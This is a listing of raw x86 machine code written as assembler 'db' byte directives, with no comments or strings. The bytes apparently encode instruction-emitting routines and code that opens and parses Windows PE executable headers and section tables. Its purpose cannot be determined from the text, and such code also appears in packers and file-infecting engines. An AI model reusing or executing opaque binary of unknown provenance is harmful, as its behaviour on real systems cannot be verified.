db 03bh, 0c7h, 076h, 01bh, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh, 082h, 048h,
001h
db 000h, 000h, 08bh, 05dh, 010h, 0c6h, 046h, 001h, 005h, 089h, 046h, 002h, 089h,
05eh
db 006h, 0ebh, 09bh, 083h, 0f8h, 004h, 075h, 012h, 039h, 07dh, 01ch, 00fh, 082h,
02bh
db 001h, 000h, 000h, 088h, 046h, 001h, 0c6h, 046h, 002h, 024h, 0ebh, 016h, 083h,
0f8h
db 005h, 075h, 01ch, 039h, 07dh, 01ch, 00fh, 082h, 014h, 001h, 000h, 000h, 080h,
066h
db 002h, 000h, 0c6h, 046h, 001h, 045h, 08bh, 05dh, 010h, 089h, 05eh, 003h, 0e9h,
063h
db 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 00fh, 082h, 0f7h, 000h, 000h, 000h,
0ebh
db 089h, 039h, 055h, 01ch, 00fh, 082h, 0ech, 000h, 000h, 000h, 08bh, 075h, 018h,
083h
db 0f8h, 001h, 0c6h, 006h, 001h, 075h, 003h, 0c6h, 006h, 003h, 03bh, 0c2h, 075h,
00dh
db 08bh, 05dh, 010h, 08bh, 045h, 00ch, 08bh, 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00dh,
08bh
db 045h, 00ch, 08bh, 05dh, 010h, 08bh, 0c8h, 08bh, 0c3h, 0c1h, 0e1h, 003h, 06ah,
007h
db 05fh, 03bh, 0c7h, 076h, 004h, 06ah, 005h, 0ebh, 009h, 0c7h, 045h, 0fch, 001h,
000h
db 000h, 000h, 06ah, 004h, 058h, 00ah, 0c1h, 083h, 07dh, 0fch, 000h, 088h, 046h,
001h
db 074h, 062h, 0e8h, 0aah, 01eh, 000h, 000h, 0a8h, 001h, 075h, 037h, 08bh, 04dh,
00ch
db 083h, 0f9h, 005h, 074h, 02fh, 083h, 0f9h, 004h, 074h, 02ah, 083h, 0fbh, 005h,
074h
db 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh,
0c1h
db 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h,
0e0h
db 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 037h, 039h, 07dh, 01ch,
072h
db 05bh, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h, 00ch, 074h,
002h
db 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h, 0e9h, 0a0h,
0feh
db 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 072h, 038h, 039h, 055h, 008h, 08bh, 045h,
00ch
db 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh, 0e9h, 085h, 0feh,
0ffh
db 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah, 045h, 00ch, 08bh,
05dh
db 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah, 0c3h, 0c6h, 006h,
003h
db 088h, 046h, 001h, 0e9h, 062h, 0feh, 0ffh, 0ffh, 033h, 0c0h, 0e9h, 079h, 0feh,
0ffh
db 0ffh, 055h, 08bh, 0ech, 051h, 053h, 056h, 057h, 033h, 0ffh, 089h, 07dh, 0fch,
0e8h
db 0f7h, 01dh, 000h, 000h, 08bh, 075h, 018h, 08bh, 05dh, 010h, 0a8h, 001h, 074h,
021h
db 0ffh, 075h, 01ch, 056h, 0ffh, 075h, 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h,

008h
db 0e8h, 0c0h, 0fdh, 0ffh, 0ffh, 08bh, 0f8h, 083h, 0c4h, 018h, 085h, 0ffh, 074h,
005h
db 0e9h, 0ech, 000h, 000h, 000h, 08bh, 045h, 008h, 085h, 0c0h, 00fh, 084h, 0c1h,
001h
db 000h, 000h, 00fh, 086h, 0d4h, 001h, 000h, 000h, 06ah, 002h, 05ah, 03bh, 0c2h,
00fh
db 086h, 0e9h, 000h, 000h, 000h, 083h, 0f8h, 004h, 00fh, 087h, 0c0h, 001h, 000h,
000h
db 083h, 0f8h, 003h, 0c6h, 006h, 081h, 075h, 046h, 083h, 07dh, 00ch, 000h, 075h,
026h
db 0e8h, 094h, 01dh, 000h, 000h, 0a8h, 001h, 074h, 006h, 083h, 07dh, 01ch, 006h,
073h
db 021h, 083h, 07dh, 01ch, 005h, 00fh, 082h, 099h, 001h, 000h, 000h, 0c6h, 006h,
02dh
db 089h, 05eh, 001h, 06ah, 005h, 0e9h, 06dh, 001h, 000h, 000h, 083h, 07dh, 01ch,
006h
db 00fh, 082h, 082h, 001h, 000h, 000h, 08ah, 045h, 00ch, 02ch, 018h, 088h, 046h,
001h
db 089h, 05eh, 002h, 0e9h, 051h, 001h, 000h, 000h, 06ah, 007h, 058h, 039h, 045h,
00ch
db 076h, 01eh, 083h, 07dh, 01ch, 00ah, 00fh, 082h, 060h, 001h, 000h, 000h, 08bh,
045h
db 00ch, 0c6h, 046h, 001h, 02dh, 089h, 046h, 002h, 089h, 05eh, 006h, 06ah, 00ah,
0e9h
db 02dh, 001h, 000h, 000h, 083h, 07dh, 00ch, 004h, 075h, 013h, 039h, 045h, 01ch,
00fh
db 082h, 03dh, 001h, 000h, 000h, 0c6h, 046h, 001h, 02ch, 0c6h, 046h, 002h, 024h,
0ebh
db 017h, 083h, 07dh, 00ch, 005h, 075h, 039h, 039h, 045h, 01ch, 00fh, 082h, 024h,
001h
db 000h, 000h, 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 06dh, 089h, 05eh, 003h,
08bh
db 0f8h, 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h,
014h
db 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 086h, 0f8h, 0ffh, 0ffh, 083h,
0c4h
db 018h, 003h, 0c7h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 083h, 07dh, 01ch, 006h, 00fh,
082h
db 0eah, 000h, 000h, 000h, 08ah, 045h, 00ch, 004h, 028h, 0e9h, 063h, 0ffh, 0ffh,
0ffh
db 039h, 055h, 01ch, 00fh, 082h, 0d7h, 000h, 000h, 000h, 083h, 0f8h, 001h, 0c6h,
006h
db 029h, 075h, 003h, 0c6h, 006h, 02bh, 03bh, 0c2h, 075h, 00ah, 08bh, 045h, 00ch,
08bh
db 0cbh, 0c1h, 0e1h, 003h, 0ebh, 00ah, 08bh, 045h, 00ch, 08bh, 0c8h, 08bh, 0c3h,
0c1h
db 0e1h, 003h, 083h, 0f8h, 007h, 076h, 004h, 06ah, 005h, 0ebh, 009h, 0c7h, 045h,
0fch
db 001h, 000h, 000h, 000h, 06ah, 004h, 058h, 00ah, 0c1h, 083h, 07dh, 0fch, 000h,
088h
db 046h, 001h, 074h, 062h, 0e8h, 078h, 01ch, 000h, 000h, 0a8h, 001h, 075h, 037h,
08bh
db 04dh, 00ch, 083h, 0f9h, 005h, 074h, 02fh, 083h, 0f9h, 004h, 074h, 02ah, 083h,
0fbh
db 005h, 074h, 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h,
004h
db 08bh, 0c1h, 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh,
0cbh
db 0c0h, 0e0h, 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 037h, 083h,
07dh
db 01ch, 007h, 072h, 050h, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh,
045h
db 00ch, 074h, 002h, 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h,
002h
db 06ah, 007h, 0ebh, 015h, 083h, 07dh, 01ch, 006h, 072h, 02eh, 039h, 055h, 008h,
08bh
db 045h, 00ch, 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh, 0e9h,

002h
db 0ffh, 0ffh, 0ffh, 083h, 07dh, 01ch, 002h, 072h, 013h, 08ah, 045h, 00ch, 06ah,
002h
db 00ch, 0f8h, 0c6h, 006h, 02bh, 0c0h, 0e0h, 003h, 00ah, 0c3h, 05fh, 088h, 046h,
001h
db 085h, 0ffh, 00fh, 085h, 0e1h, 0feh, 0ffh, 0ffh, 033h, 0c0h, 0e9h, 0f8h, 0feh,
0ffh
db 0ffh, 055h, 08bh, 0ech, 08bh, 045h, 008h, 033h, 0d2h, 053h, 056h, 03bh, 0c2h,
057h
db 00fh, 084h, 0c9h, 001h, 000h, 000h, 00fh, 086h, 0e6h, 001h, 000h, 000h, 083h,
0f8h
db 002h, 00fh, 086h, 0e9h, 000h, 000h, 000h, 083h, 0f8h, 004h, 00fh, 087h, 0d4h,
001h
db 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 003h, 0c6h, 006h, 081h, 075h, 069h,
039h
db 055h, 00ch, 075h, 047h, 0e8h, 098h, 01bh, 000h, 000h, 0a8h, 001h, 074h, 006h,
083h
db 07dh, 01ch, 006h, 073h, 042h, 06ah, 005h, 05fh, 039h, 07dh, 01ch, 00fh, 082h,
0a9h
db 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 006h, 035h, 089h, 05eh, 001h, 08bh,
045h
db 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h, 014h, 053h, 0ffh,
075h
db 00ch, 0ffh, 075h, 008h, 0e8h, 001h, 0f7h, 0ffh, 0ffh, 083h, 0c4h, 018h, 003h,
0c7h
db 05fh, 05eh, 05bh, 05dh, 0c3h, 083h, 07dh, 01ch, 006h, 00fh, 082h, 073h, 001h,
000h
db 000h, 08ah, 045h, 00ch, 02ch, 010h, 08bh, 05dh, 010h, 088h, 046h, 001h, 089h,
05eh
db 002h, 0e9h, 035h, 001h, 000h, 000h, 08bh, 045h, 00ch, 06ah, 007h, 05fh, 03bh,
0c7h
db 076h, 01bh, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh, 082h, 04ah, 001h, 000h,
000h
db 08bh, 05dh, 010h, 0c6h, 046h, 001h, 035h, 089h, 046h, 002h, 089h, 05eh, 006h,
0ebh
db 09bh, 083h, 0f8h, 004h, 075h, 013h, 039h, 07dh, 01ch, 00fh, 082h, 02dh, 001h,
000h
db 000h, 0c6h, 046h, 001h, 034h, 0c6h, 046h, 002h, 024h, 0ebh, 016h, 083h, 0f8h,
005h
db 075h, 01ch, 039h, 07dh, 01ch, 00fh, 082h, 015h, 001h, 000h, 000h, 080h, 066h,
002h
db 000h, 0c6h, 046h, 001h, 075h, 08bh, 05dh, 010h, 089h, 05eh, 003h, 0e9h, 062h,
0ffh
db 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 00fh, 082h, 0f8h, 000h, 000h, 000h, 004h,
030h
db 0ebh, 086h, 083h, 07dh, 01ch, 002h, 00fh, 082h, 0eah, 000h, 000h, 000h, 08bh,
075h
db 018h, 083h, 0f8h, 001h, 0c6h, 006h, 031h, 075h, 003h, 0c6h, 006h, 033h, 083h,
0f8h
db 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h, 00ch, 08bh, 0cbh, 0c1h, 0e1h,
003h
db 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h, 08bh, 0c8h, 08bh, 0c3h, 0c1h,
0e1h
db 003h, 06ah, 005h, 083h, 0f8h, 007h, 05fh, 076h, 004h, 08bh, 0c7h, 0ebh, 006h,
06ah
db 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h, 0d2h, 088h, 046h, 001h, 074h,
063h
db 0e8h, 076h, 01ah, 000h, 000h, 0a8h, 001h, 075h, 035h, 08bh, 04dh, 00ch, 03bh,
0cfh
db 074h, 02eh, 083h, 0f9h, 004h, 074h, 029h, 03bh, 0dfh, 074h, 025h, 083h, 0fbh,
004h
db 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh, 0c1h, 0ebh, 008h, 083h,
07dh
db 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h, 0e0h, 003h, 00ah, 0c1h,
06ah
db 002h, 088h, 046h, 001h, 0ebh, 03bh, 06ah, 007h, 05fh, 039h, 07dh, 01ch, 072h,
05ch
db 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h, 00ch, 074h, 002h,

08bh
db 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h, 0e9h, 09fh, 0feh, 0ffh
db 0ffh, 083h, 07dh, 01ch, 006h, 072h, 039h, 083h, 07dh, 008h, 002h, 08bh, 045h, 00ch
db 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh, 0e9h, 083h, 0feh, 0ffh
db 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah, 045h, 00ch, 08bh, 05dh
db 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah, 0c3h, 0c6h, 006h, 033h
db 088h, 046h, 001h, 0e9h, 060h, 0feh, 0ffh, 0ffh, 033h, 0c0h, 0e9h, 077h, 0feh, 0ffh
db 0ffh, 055h, 08bh, 0ech, 08bh, 045h, 008h, 033h, 0d2h, 053h, 056h, 03bh, 0c2h, 057h
db 00fh, 084h, 0c9h, 001h, 000h, 000h, 00fh, 086h, 0e6h, 001h, 000h, 000h, 083h, 0f8h
db 002h, 00fh, 086h, 0e9h, 000h, 000h, 000h, 083h, 0f8h, 004h, 00fh, 087h, 0d4h, 001h
db 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 003h, 0c6h, 006h, 081h, 075h, 069h, 039h
db 055h, 00ch, 075h, 047h, 0e8h, 092h, 019h, 000h, 000h, 0a8h, 001h, 074h, 006h, 083h
db 07dh, 01ch, 006h, 073h, 042h, 06ah, 005h, 05fh, 039h, 07dh, 01ch, 00fh, 082h, 0a9h
db 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 006h, 03dh, 089h, 05eh, 001h, 08bh, 045h
db 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h, 014h, 053h, 0ffh, 075h
db 00ch, 0ffh, 075h, 008h, 0e8h, 0fbh, 0f4h, 0ffh, 0ffh, 083h, 0c4h, 018h, 003h, 0c7h
db 05fh, 05eh, 05bh, 05dh, 0c3h, 083h, 07dh, 01ch, 006h, 00fh, 082h, 073h, 001h, 000h
db 000h, 08ah, 045h, 00ch, 02ch, 008h, 08bh, 05dh, 010h, 088h, 046h, 001h, 089h, 05eh
db 002h, 0e9h, 035h, 001h, 000h, 000h, 08bh, 045h, 00ch, 06ah, 007h, 05fh, 03bh, 0c7h
db 076h, 01bh, 06ah, 00ah, 05fh, 039h, 07dh, 01ch, 00fh, 082h, 04ah, 001h, 000h, 000h
db 08bh, 05dh, 010h, 0c6h, 046h, 001h, 03dh, 089h, 046h, 002h, 089h, 05eh, 006h, 0ebh
db 09bh, 083h, 0f8h, 004h, 075h, 013h, 039h, 07dh, 01ch, 00fh, 082h, 02dh, 001h, 000h
db 000h, 0c6h, 046h, 001h, 03ch, 0c6h, 046h, 002h, 024h, 0ebh, 016h, 083h, 0f8h, 005h
db 075h, 01ch, 039h, 07dh, 01ch, 00fh, 082h, 015h, 001h, 000h, 000h, 080h, 066h, 002h
db 000h, 0c6h, 046h, 001h, 07dh, 08bh, 05dh, 010h, 089h, 05eh, 003h, 0e9h, 062h, 0ffh
db 0ffh, 0ffh, 083h, 07dh, 01ch, 006h, 00fh, 082h, 0f8h, 000h, 000h, 000h, 004h, 038h
db 0ebh, 086h, 083h, 07dh, 01ch, 002h, 00fh, 082h, 0eah, 000h, 000h, 000h, 08bh, 075h
db 018h, 083h, 0f8h, 001h, 0c6h, 006h, 039h, 075h, 003h, 0c6h, 006h, 03bh, 083h, 0f8h
db 002h, 075h, 00dh, 08bh, 05dh, 010h, 08bh, 045h, 00ch, 08bh, 0cbh, 0c1h, 0e1h, 003h
db 0ebh, 00dh, 08bh, 045h, 00ch, 08bh, 05dh, 010h, 08bh, 0c8h, 08bh, 0c3h, 0c1h, 0e1h
db 003h, 06ah, 005h, 083h, 0f8h, 007h, 05fh, 076h, 004h, 08bh, 0c7h, 0ebh, 006h, 06ah
db 001h, 05ah, 06ah, 004h, 058h, 00ah, 0c1h, 085h, 0d2h, 088h, 046h, 001h, 074h, 063h
db 0e8h, 070h, 018h, 000h, 000h, 0a8h, 001h, 075h, 035h, 08bh, 04dh, 00ch, 03bh, 0cfh
db 074h, 02eh, 083h, 0f9h, 004h, 074h, 029h, 03bh, 0dfh, 074h, 025h, 083h, 0fbh, 004h
db 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh, 0c1h, 0ebh, 008h, 083h,

07dh
db 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h, 0e0h, 003h, 00ah, 0c1h,
06ah
db 002h, 088h, 046h, 001h, 0ebh, 03bh, 06ah, 007h, 05fh, 039h, 07dh, 01ch, 072h,
05ch
db 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h, 00ch, 074h, 002h,
08bh
db 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h, 0e9h, 09fh, 0feh,
0ffh
db 0ffh, 083h, 07dh, 01ch, 006h, 072h, 039h, 083h, 07dh, 008h, 002h, 08bh, 045h,
00ch
db 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh, 0e9h, 083h, 0feh,
0ffh
db 0ffh, 06ah, 002h, 05fh, 039h, 07dh, 01ch, 072h, 01bh, 08ah, 045h, 00ch, 08bh,
05dh
db 010h, 08bh, 075h, 018h, 00ch, 0f8h, 0c0h, 0e0h, 003h, 00ah, 0c3h, 0c6h, 006h,
03bh
db 088h, 046h, 001h, 0e9h, 060h, 0feh, 0ffh, 0ffh, 033h, 0c0h, 0e9h, 077h, 0feh,
0ffh
db 0ffh, 055h, 08bh, 0ech, 08bh, 04dh, 01ch, 053h, 083h, 0f9h, 003h, 072h, 021h,
08bh
db 045h, 018h, 08bh, 055h, 00ch, 083h, 0fah, 003h, 0c6h, 000h, 0c1h, 076h, 067h,
06ah
db 004h, 05bh, 03bh, 0d3h, 074h, 040h, 083h, 0fah, 005h, 074h, 00ch, 076h, 005h,
083h
db 0fah, 007h, 076h, 054h, 033h, 0c0h, 05bh, 05dh, 0c3h, 03bh, 0cbh, 072h, 0f7h,
08bh
db 055h, 010h, 080h, 060h, 002h, 000h, 0c6h, 040h, 001h, 045h, 088h, 050h, 003h,
083h
db 0c1h, 0fch, 083h, 0c0h, 004h, 051h, 050h, 0ffh, 075h, 014h, 052h, 06ah, 005h,
0ffh
db 075h, 008h, 0e8h, 013h, 0f3h, 0ffh, 0ffh, 083h, 0c4h, 018h, 003h, 0c3h, 0ebh,
0ceh
db 03bh, 0cbh, 072h, 0c8h, 08bh, 055h, 010h, 088h, 058h, 001h, 0c6h, 040h, 002h,
024h
db 088h, 050h, 003h, 083h, 0c1h, 0fch, 083h, 0c0h, 004h, 051h, 050h, 0ffh, 075h,
014h
db 052h, 053h, 0ebh, 0d1h, 08bh, 05dh, 010h, 088h, 050h, 001h, 088h, 058h, 002h,
083h
db 0c1h, 0fdh, 083h, 0c0h, 003h, 051h, 050h, 0ffh, 075h, 014h, 053h, 052h, 0ffh,
075h
db 008h, 0e8h, 0ceh, 0f2h, 0ffh, 0ffh, 083h, 0c4h, 018h, 083h, 0c0h, 003h, 0ebh,
088h
db 055h, 08bh, 0ech, 083h, 07dh, 010h, 000h, 053h, 08bh, 05dh, 008h, 056h, 057h,
074h
db 01fh, 083h, 07dh, 010h, 003h, 074h, 019h, 083h, 07dh, 010h, 001h, 074h, 013h,
08bh
db 07dh, 01ch, 06ah, 0f1h, 057h, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h,
00ch
db 06ah, 004h, 0ebh, 011h, 08bh, 07dh, 01ch, 06ah, 0f1h, 057h, 0ffh, 075h, 018h,
0ffh
db 075h, 014h, 0ffh, 075h, 00ch, 06ah, 003h, 0e8h, 093h, 0f4h, 0ffh, 0ffh, 08bh,
0f0h
db 083h, 0c4h, 018h, 085h, 0f6h, 00fh, 084h, 0c8h, 000h, 000h, 000h, 089h, 075h,
014h
db 085h, 0dbh, 074h, 06fh, 083h, 07bh, 01ch, 000h, 074h, 03dh, 08ah, 045h, 00ch,
004h
db 032h, 088h, 004h, 03eh, 046h, 089h, 075h, 01ch, 08dh, 004h, 03eh, 050h, 0ffh,
075h
db 018h, 0ffh, 073h, 024h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 073h, 020h,
0e8h
db 07eh, 0ffh, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 018h, 039h, 075h, 01ch, 00fh,
084h
db 089h, 000h, 000h, 000h, 08ah, 045h, 00ch, 004h, 03ah, 088h, 004h, 03eh, 046h,
0ebh
db 028h, 0ffh, 073h, 018h, 08dh, 004h, 03eh, 089h, 075h, 01ch, 050h, 0ffh, 073h,
014h
db 0ffh, 073h, 010h, 0ffh, 073h, 00ch, 0ffh, 073h, 008h, 0ffh, 073h, 004h, 0e8h,

0e2h
db 0f0h, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 01ch, 039h, 075h, 01ch, 074h, 056h,
08bh
db 01bh, 0ebh, 08dh, 083h, 07dh, 010h, 000h, 074h, 050h, 083h, 07dh, 010h, 003h,
074h
db 04ah, 083h, 07dh, 010h, 001h, 074h, 044h, 08dh, 004h, 03eh, 06ah, 0f1h, 050h,
08bh
db 0deh, 0ffh, 075h, 018h, 06ah, 001h, 0ffh, 075h, 00ch, 06ah, 004h, 0e8h, 02dh,
0f8h
db 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 018h, 03bh, 0f3h, 074h, 020h, 08dh, 004h,
03eh
db 06ah, 0f1h, 050h, 08bh, 0deh, 0ffh, 075h, 018h, 06ah, 000h, 0ffh, 075h, 00ch,
06ah
db 004h, 0e8h, 043h, 0fch, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 018h, 03bh, 0f3h,
075h
db 038h, 033h, 0c0h, 0ebh, 04bh, 08dh, 004h, 03eh, 06ah, 0f1h, 050h, 08bh, 0deh,
0ffh
db 075h, 018h, 06ah, 001h, 0ffh, 075h, 00ch, 06ah, 003h, 0e8h, 0e9h, 0f7h, 0ffh,
0ffh
db 003h, 0f0h, 083h, 0c4h, 018h, 03bh, 0f3h, 074h, 0dch, 08dh, 004h, 03eh, 06ah,
0f1h
db 050h, 08bh, 0deh, 0ffh, 075h, 018h, 06ah, 000h, 0ffh, 075h, 00ch, 06ah, 003h,
0ebh
db 0bah, 08bh, 045h, 014h, 003h, 0feh, 02bh, 0c6h, 0c6h, 007h, 00fh, 083h, 0e8h,
006h
db 0c6h, 047h, 001h, 085h, 089h, 047h, 002h, 08dh, 046h, 006h, 05fh, 05eh, 05bh,
05dh
db 0c3h, 056h, 08bh, 074h, 024h, 008h, 085h, 0f6h, 074h, 020h, 08bh, 006h, 085h,
0c0h
db 074h, 006h, 08bh, 0f0h, 085h, 0f6h, 075h, 0f4h, 085h, 0f6h, 074h, 010h, 06ah,
001h
db 06ah, 028h, 0ffh, 015h, 008h, 04dh, 000h, 000h, 059h, 089h, 006h, 059h, 0ebh,
00ch
db 06ah, 001h, 06ah, 028h, 0ffh, 015h, 008h, 04dh, 000h, 000h, 059h, 059h, 085h,
0c0h
db 05eh, 074h, 03eh, 08bh, 04ch, 024h, 008h, 08bh, 051h, 014h, 089h, 050h, 014h,
08bh
db 051h, 018h, 083h, 020h, 000h, 089h, 050h, 018h, 08bh, 051h, 00ch, 089h, 050h,
00ch
db 08bh, 051h, 010h, 089h, 050h, 010h, 08bh, 051h, 004h, 089h, 050h, 004h, 08bh,
051h
db 008h, 089h, 050h, 008h, 08bh, 051h, 020h, 089h, 050h, 020h, 08bh, 051h, 01ch,
089h
db 050h, 01ch, 08bh, 049h, 024h, 089h, 048h, 024h, 0c3h, 033h, 0c0h, 0c3h, 056h,
08bh
db 074h, 024h, 008h, 085h, 0f6h, 074h, 00eh, 08bh, 0c6h, 08bh, 036h, 050h, 0ffh,
015h
db 00ch, 04dh, 000h, 000h, 059h, 0ebh, 0eeh, 05eh, 0c3h, 08bh, 044h, 024h, 004h,
083h
db 0f8h, 007h, 077h, 029h, 0ffh, 024h, 085h, 07ch, 033h, 000h, 000h, 06ah, 001h,
0ebh
db 016h, 06ah, 008h, 0ebh, 012h, 06ah, 002h, 0ebh, 00eh, 06ah, 004h, 0ebh, 00ah,
06ah
db 020h, 0ebh, 006h, 06ah, 010h, 0ebh, 002h, 06ah, 040h, 058h, 0c3h, 0b8h, 080h,
000h
db 000h, 000h, 0c3h, 033h, 0c0h, 0c3h, 057h, 033h, 000h, 000h, 05fh, 033h, 000h,
000h
db 063h, 033h, 000h, 000h, 05bh, 033h, 000h, 000h, 06bh, 033h, 000h, 000h, 067h,
033h
db 000h, 000h, 06fh, 033h, 000h, 000h, 073h, 033h, 000h, 000h, 056h, 057h, 068h,
074h
db 014h, 000h, 000h, 0ffh, 074h, 024h, 010h, 0ffh, 015h, 0d0h, 04ch, 000h, 000h,
08bh
db 0f8h, 059h, 085h, 0ffh, 059h, 00fh, 084h, 08ch, 000h, 000h, 000h, 06ah, 000h,
06ah
db 000h, 057h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 083h, 0c4h, 00ch, 085h, 0c0h,
075h
db 072h, 08bh, 074h, 024h, 010h, 057h, 06ah, 001h, 06ah, 040h, 056h, 0ffh, 015h,

0d8h
db 04ch, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 074h, 05bh, 06ah, 000h, 0ffh,
076h
db 03ch, 057h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 083h, 0c4h, 00ch, 085h, 0c0h,
075h
db 048h, 057h, 06ah, 001h, 08dh, 046h, 040h, 068h, 0f8h, 000h, 000h, 000h, 050h,
0ffh
db 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 074h, 02fh, 00fh,
0b7h
db 046h, 046h, 057h, 06ah, 001h, 08dh, 004h, 080h, 081h, 0c6h, 038h, 001h, 000h,
000h
db 0c1h, 0e0h, 003h, 050h, 056h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h,
010h
db 085h, 0c0h, 074h, 00dh, 057h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 059h, 06ah,
001h
db 058h, 0ebh, 00ah, 057h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 059h, 033h, 0c0h,
05fh
db 05eh, 0c3h, 055h, 08bh, 0ech, 08bh, 045h, 008h, 056h, 033h, 0c9h, 08bh, 0b0h,
04ch
db 001h, 000h, 000h, 08dh, 090h, 048h, 001h, 000h, 000h, 003h, 032h, 039h, 075h,
00ch
db 072h, 00ah, 090h, 08bh, 072h, 02ch, 041h, 083h, 0c2h, 028h, 0ebh, 0efh, 08dh,
00ch
db 089h, 05eh, 08dh, 00ch, 0c8h, 08bh, 081h, 044h, 001h, 000h, 000h, 02bh, 081h,
04ch
db 001h, 000h, 000h, 003h, 045h, 00ch, 05dh, 0c3h, 055h, 08bh, 0ech, 08bh, 045h,
008h
db 056h, 033h, 0c9h, 08bh, 0b0h, 048h, 001h, 000h, 000h, 08dh, 090h, 044h, 001h,
000h
db 000h, 003h, 032h, 039h, 075h, 00ch, 072h, 00ah, 090h, 08bh, 072h, 02ch, 041h,
083h
db 0c2h, 028h, 0ebh, 0efh, 08dh, 00ch, 089h, 05eh, 08dh, 00ch, 0c8h, 08bh, 081h,
04ch
db 001h, 000h, 000h, 02bh, 081h, 044h, 001h, 000h, 000h, 003h, 045h, 00ch, 05dh,
0c3h
db 055h, 08bh, 0ech, 081h, 0ech, 048h, 001h, 000h, 000h, 053h, 056h, 057h, 068h,
074h
db 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 0d0h, 04ch, 000h, 000h, 08bh,
0f8h
db 033h, 0f6h, 059h, 03bh, 0feh, 059h, 089h, 07dh, 008h, 00fh, 084h, 072h, 002h,
000h
db 000h, 057h, 06ah, 001h, 08dh, 045h, 0b0h, 06ah, 040h, 050h, 0ffh, 015h, 0d8h,
04ch
db 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 00fh, 084h, 0c7h, 002h, 000h, 000h,
056h
db 0ffh, 075h, 0ech, 057h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 057h, 06ah, 001h,
08dh
db 085h, 0b8h, 0feh, 0ffh, 0ffh, 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h,
0d8h
db 04ch, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 00fh, 084h, 09ch, 002h, 000h,
000h
db 00fh, 0b7h, 0bdh, 0beh, 0feh, 0ffh, 0ffh, 089h, 07dh, 0f8h, 08dh, 01ch, 0bfh,
0c1h
db 0e3h, 003h, 053h, 06ah, 001h, 089h, 05dh, 0f4h, 0ffh, 015h, 008h, 04dh, 000h,
000h
db 08bh, 0f0h, 059h, 085h, 0f6h, 059h, 00fh, 084h, 074h, 002h, 000h, 000h, 0ffh,
075h
db 008h, 0ffh, 015h, 0e8h, 04ch, 000h, 000h, 0ffh, 075h, 008h, 089h, 045h, 0f0h,
057h
